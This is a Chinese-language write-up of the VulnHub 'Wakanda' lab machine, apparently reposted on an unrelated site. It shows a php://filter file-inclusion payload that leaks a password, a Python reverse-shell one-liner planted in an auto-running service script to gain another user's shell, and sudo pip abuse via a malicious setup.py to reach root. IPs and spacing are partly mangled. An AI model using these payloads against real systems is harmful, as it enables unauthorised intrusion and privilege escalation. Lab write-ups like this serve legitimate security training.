php发展

首页 » 常识 » 预防 » Wakandalinux下的pip提权
TUhjnbcbe - 2024/8/30 16:56:00
白癜风类型分期 http://www.znlvye.com/xtbb/fqfx/

0x00:前言

这道题还是非常有意思的

wakanda:是漫威电影黑豹的一个地方

0x01:信息收集

nmap首先找到目标ip,设置桥接,进行nmap查找存活主机。

目标主机ip为..43.18

nmap-sV-vv-p1-65535..43.18

可以看到开了个web服务80端口

这里的ssh弱口令爆破在metasploit里面试了一下,没爆出来。

OK浏览下web页面

发现一个名字(mamadou)

做vulnhub题目要有敏感度,这种就是vulnhub特点信息收集,这就是一个突破口,我一开始看到没注意!!!多捞啊。

这很明显啊,href=?lang=fr

用御剑扫出来了一个页面:fr.php

很明显,这里是文件包含

.16../?lang=php://filter/read=convert.base64-encode/resource=index

拿到base64进行解码,得到一个密码(难怪爆不出来,这么复杂。。。)

那么最终得到

账号:mamadou

密码:Niamey4Ever!!!

进行ssh连接

ssh.16..-lmamadou-p

得到一个py命令行

进行python的pty将终端弹出来

fromptyimportspawn

spawn(“/bin/bash”)

第一个flag1.txt到手

0x02:第二个flag2.txt

现在我们拥有wakanda权限

全局查找一下flag2.txt

find/-nameflag2.txt

在home目录下的devops里面,需要devops权限

OK全局搜索下和devops有关的东西

find/-userdevops2/dev/null(错误的信息不显示,更加直观)

找到一个py文件,打开进行查看就是一段废话,但是其的权限是可以写的

既然有写的权限那我们可以进行写shell

然后执行

但是这个反弹的shell是wakanda权限的(下面是演示)

#.antivirus.py--payloadimportsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘.16..,));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([/bin/bash,-i]);

在那个文件里面写入以上代码

在kali上开启监听nc-lvp

执行就好了

但是反弹的shell是wakanda1的权限,仍然不能进行查看

OK!!!

再想想有没有什么好方法

后来经人点拨,恍然大悟,如果这个脚本是会自动运行的,那么就不会反弹mamadou权限的shell了,而是它本身具有的devops权限,而经过查询资料,了解到存放在/src目录下的一般为系统服务类脚本文件,那么它自动运行的假设就显然可以成立了。

用一个命令进行查看grep-R.antivirus.py/2/dev/null

grep-R(对这个目录下的文件进行递归,查找含有.antivirus.py的文件)

查看一下antivirus.service文件

发现是s自动提交一次

然后我们就把这个shell写入然后让他自己执行就行,kali开着nc监听,等s就行

反弹shell后进行查看flag2.txt发现成功

成功后就可以查看了

0x03:root.txt

利用sudo-l来查看当前用户权限

然而,只有一个pip命令是可以不需要root权限就能执行的,试试pipinstallfalsk,没问题。

那么怎样才能通过pip来获取root权限呢?这里用到一个github上的开源脚本Fakepip。这个脚本通过在pip重新安装时执行的setup.py文件中插入shellcode,导致其可通过pip反弹root权限的shell给攻击机。项目地址(

1
查看完整版本: Wakandalinux下的pip提权